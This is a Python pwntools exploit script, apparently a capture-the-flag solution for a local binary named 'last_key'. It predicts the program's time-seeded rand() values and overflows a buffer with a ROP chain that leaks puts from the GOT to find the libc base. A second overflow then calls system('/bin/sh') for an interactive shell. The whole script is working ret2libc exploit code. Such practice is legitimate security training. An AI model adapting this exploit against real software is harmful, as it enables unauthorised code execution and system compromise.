#!/usr/bin/python3

from pwn import *
from ctypes import CDLL

context.binary = target = ELF("./last_key", checksec=False)
libc = target.libc
lib = CDLL("./glibc/libc.so.6")
r = process()

# funcs
s = lambda a: r.sendlineafter(b": ", a)

# nums
lib.srand(lib.time(0))
first_rand = (lib.rand() % 5) + 1
second_rand = (lib.rand() % 10) + 10
diff = second_rand - first_rand

# buf
for _ in range(diff):
	s(b"R")

# gadgets
pop_rdi = lambda a: p64(0x40178d) + p64(a)

# leak
buf = b"A"*24
buf += pop_rdi(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym.set_score)
s(buf)
r.recvuntil(b"prize..\n\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: %#x", puts)
libc.address = puts - libc.sym.puts
log.info("libc: %#x", libc.address)
system = libc.sym.system
sh = next(libc.search(b"/bin/sh\0"))

# pop
buf = b"A"*25
buf += pop_rdi(sh)
buf += p64(0x40178e)
buf += p64(system)
s(buf)

r.interactive()